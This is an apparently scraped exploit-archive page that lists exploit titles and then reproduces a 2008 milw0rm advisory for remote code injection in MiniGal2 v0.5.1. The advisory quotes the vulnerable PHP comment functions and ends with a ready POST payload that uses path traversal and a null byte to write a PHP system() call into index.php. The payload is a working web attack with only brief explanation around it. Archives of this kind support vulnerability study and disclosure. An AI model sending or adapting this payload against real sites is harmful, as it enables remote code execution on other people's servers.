477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
73 lines
3.4 KiB
Text
Executable file
73 lines
3.4 KiB
Text
Executable file
<?php
|
|
/**********000000000000----------------------000\\\
|
|
/*-00--------++++++++++++++++++_______________)_)_________
|
|
-- --
|
|
- MiniGal2(MG2) v0.5.1 remote Code Injection |
|
|
___ Z okazji urodzin ¿yczê sobie wszystkiego zajebistego
|
|
Zawsze na odwrót lol '''''_---"
|
|
___)()())0 ------------
|
|
\ A-L | """"""
|
|
'--==9** Victoria heh .
|
|
------ gr:SID.PSYCHO ;> and rest and ALL
|
|
---------++++++++++++=================))
|
|
___ -- =======--
|
|
./..................
|
|
=======--////-
|
|
VULN:[includes\mg2_functions.php]
|
|
function writecomments($filename) __LINE 555
|
|
---------
|
|
function writecomments($filename) {
|
|
$filename = "pictures/" . $filename;
|
|
unset($buffer);
|
|
if (count($this->comments) != 0) {
|
|
for ($i=0; $i < count($this->comments); $i++){
|
|
for ($j=0; $j < count($this->comments[$i]); $j++){
|
|
$buffer .= "*" . $this->comments[$i][$j];
|
|
}
|
|
$buffer .= "\n";
|
|
$fd = fopen($filename,"w+");
|
|
if (flock($fd, LOCK_EX)) { // do an exclusive lock
|
|
ftruncate($fd, 0);
|
|
fwrite($fd, $buffer);
|
|
flock($fd, LOCK_UN); // release the lock
|
|
fclose($fd);
|
|
$this->log("Wrote comment to '$filename'");
|
|
} else {
|
|
$this->log("ERROR: Could not lock commentfile '$filename' for writing");
|
|
echo "MG2 ERROR: Could not lock $filename (function 'writecomments')";
|
|
}
|
|
}
|
|
} else unlink($filename);
|
|
}
|
|
/\/\/\/\/\/\/\/\/\/\/\
|
|
|
|
function addcomment() {
|
|
$_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
|
|
$_REQUEST['input'] = $this->charfix($_REQUEST['input']);
|
|
$_REQUEST['email'] = $this->charfix($_REQUEST['email']);
|
|
$_REQUEST['name'] = $this->charfix($_REQUEST['name']);
|
|
$_REQUEST['input'] = strip_tags($_REQUEST['input'], "<b></b><i></i><u></u><strong></strong><em></em>");
|
|
$_REQUEST['input'] = str_replace("\n","<br />",$_REQUEST['input']);
|
|
$_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
|
|
if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
|
|
$this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
|
|
$comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
|
|
$comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
|
|
$comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
|
|
if (count($comment_exists) == 0) {
|
|
$this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
|
|
$this->writecomments($_REQUEST['filename'] . ".comment");
|
|
.....etc //
|
|
................-------------------------------------------=====================
|
|
==== As you can se THE input data is not enough filtered
|
|
We can write self code in to the file
|
|
by sending proper POSTS
|
|
ex:
|
|
POST input=a&name=/ <?php system('dir'); ?> // &email=c&action=addcomment&filename=../index.php%00&id=5
|
|
THE END
|
|
|
|
-------*/
|
|
// ALFONS LUJA just 4 fUn :P
|
|
?>
|
|
|
|
# milw0rm.com [2008-12-08]
|